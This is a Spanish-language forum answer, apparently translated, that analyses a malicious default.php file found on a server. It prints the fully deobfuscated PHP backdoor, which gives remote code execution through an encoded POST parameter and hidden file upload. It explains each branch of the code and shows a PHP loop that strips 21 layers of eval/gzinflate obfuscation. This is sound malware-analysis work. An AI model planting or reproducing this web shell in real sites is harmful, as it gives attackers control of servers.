archivo default.php que se encuentra en el servidor, ¿es una amenaza para la seguridad?

Sí, es malicioso.

Este script tiene 20 capas de ofuscación de eval / deflate, pero finalmente se decodifica a:

@error_reporting(0); @ini_set("display_errors",0); @ini_set("log_errors",0); @ini_set("error_log",0); if (isset($_GET['r'])) { print $_GET['r']; } elseif (isset($_POST['e'])) { eval(base64_decode(str_rot13(strrev(base64_decode(str_rot13($_POST['e'])))))); } elseif (isset($_SERVER['HTTP_CONTENT_ENCODING']) && $_SERVER['HTTP_CONTENT_ENCODING'] == 'binary') { $data = file_get_contents('php://input'); if (strlen($data) > 0) print 'STATUS-IMPORT-OK'; if (strlen($data) > 12) { $fp=@fopen('tmpfile','a'); @flock($fp, LOCK_EX); @fputs($fp, $_SERVER['REMOTE_ADDR']."\t".base64_encode($data)."\r\n"); @flock($fp, LOCK_UN); @fclose($fp); } } exit;

¡Feo! Vamos a formatear eso:

@error_reporting(0);
@ini_set("display_errors",0);
@ini_set("log_errors",0);
@ini_set("error_log",0);
if (isset($_GET['r']))
{
    print $_GET['r'];
}
elseif (isset($_POST['e']))
{
    eval(base64_decode(str_rot13(strrev(base64_decode(str_rot13($_POST['e']))))));
}
elseif (isset($_SERVER['HTTP_CONTENT_ENCODING']) && $_SERVER['HTTP_CONTENT_ENCODING'] == 'binary')
{
    $data = file_get_contents('php://input');
    if (strlen($data) > 0)
        print 'STATUS-IMPORT-OK';
    if (strlen($data) > 12)
    {
        $fp=@fopen('tmpfile','a');
        @flock($fp, LOCK_EX);
        @fputs($fp, $_SERVER['REMOTE_ADDR']."\t".base64_encode($data)."\r\n");
        @flock($fp, LOCK_UN);
        @fclose($fp);
    }
}
exit;

¿Qué tenemos aquí?

Primero, el parámetro r parece ser una respuesta para detectar que el script está funcionando. El parámetro e se usa para realizar la ejecución remota de código, con ofuscación base64 / rot13 en la solicitud, probablemente para anular las reglas mínimas de IDS / WAF. La última cláusula elseif se usa para cargar archivos, por lo que cualquier operación de carga de archivos binarios que se envíe a ese script escribirá el contenido en un archivo llamado tmpfile . Asumiría que luego usarían el parámetro e para ejecutar el código que cambia el nombre del archivo, probablemente para cargar un shell más funcional o sobrescribir los archivos existentes.

Una rápida búsqueda en Google de la línea eval arroja una gran cantidad de resultados sobre las instalaciones de Wordpress que se han identificado con ella, que luego se usaron para distribuir malware y productos farmacéuticos no deseados.

Ok, debido a la demanda popular, así es como lo desencripté:

Primero, reemplacé eval con echo , por lo que imprimí el contenido de los datos inflados. Esto me dio otra carga útil que se veía exactamente igual, excepto que la cadena base64 era diferente. Después de volver a hacer el cambio eval /% co_de varias veces, seguí obteniendo el mismo resultado: otro echo , eval , gzinflate de cadena con una base64 diferente. En este punto, no estaba dispuesto a sentarme allí y hacerlo manualmente, porque sería un dolor si hubiera un gran número de capas. Se me ocurrió una forma automática de desempaquetar.

Envolví la carga útil inicial en una cadena, luego usé un bucle base64_decode para deshacer iterativamente las capas de protección. La condición de bucle verifica que la cadena de descifrado esté al comienzo de la cadena de código, y si no lo hace, deja el bucle y muestra el código. Esto tiene dos funciones: primero, si el código solo es confuso por esa cadena, nos dará el código real. Segundo: si una técnica de ofuscación diferente se cambia más adelante, detendrá y devolverá ese código en lugar de romperlo.

// our initial payload in a string
$code = 'eval(gzinflate(base64_decode("DZVFrsUIggTv .. <snip> .. JCvwNv77n3///ff//h8=")));';

$layers = 0;

// loop while the code string starts with the eval / gzinflate / base64_decode chain
while(strpos($code, 'eval(gzinflate(base64_decode') === 0)
{
  // replace the eval with a return, so that our eval dumps
  // the result of the operation rather than executing it
  $code = str_replace('eval(gz', 'return (gz', $code);

  // the return now causes the result of gzinflate to be
  // placed back into the $code variable.
  $code = eval($code);

  // keep a count of the number of layers we removed
  $layers++;
}

// no longer have a eval/gzinflate/base64_decode chain at
// the start of the code, so print out the result.
echo "Unwrapped {$layers} layers of obfuscation...\n\n";
echo "{$code}\n";

Los resultados:

Unwrapped 21 layers of obfuscation...

@error_reporting(0); @ini_set("display_errors",0); @ini_set("log_errors",0); @ini_set("error_log",0); if (isset($_GET['r'])) { print $_GET['r']; } elseif (isset($_POST['e'])) { eval(base64_decode(str_rot13(strrev(base64_decode(str_rot13($_POST['e'])))))); } elseif (isset($_SERVER['HTTP_CONTENT_ENCODING']) && $_SERVER['HTTP_CONTENT_ENCODING'] == 'binary') { $data = file_get_contents('php://input'); if (strlen($data) > 0) print 'STATUS-IMPORT-OK'; if (strlen($data) > 12) { $fp=@fopen('tmpfile','a'); @flock($fp, LOCK_EX); @fputs($fp, $_SERVER['REMOTE_ADDR']."\t".base64_encode($data)."\r\n"); @flock($fp, LOCK_UN); @fclose($fp); } } exit;

Si desea ver el resultado detallado con todas las capas impresas, lo he puesto en Pastebin .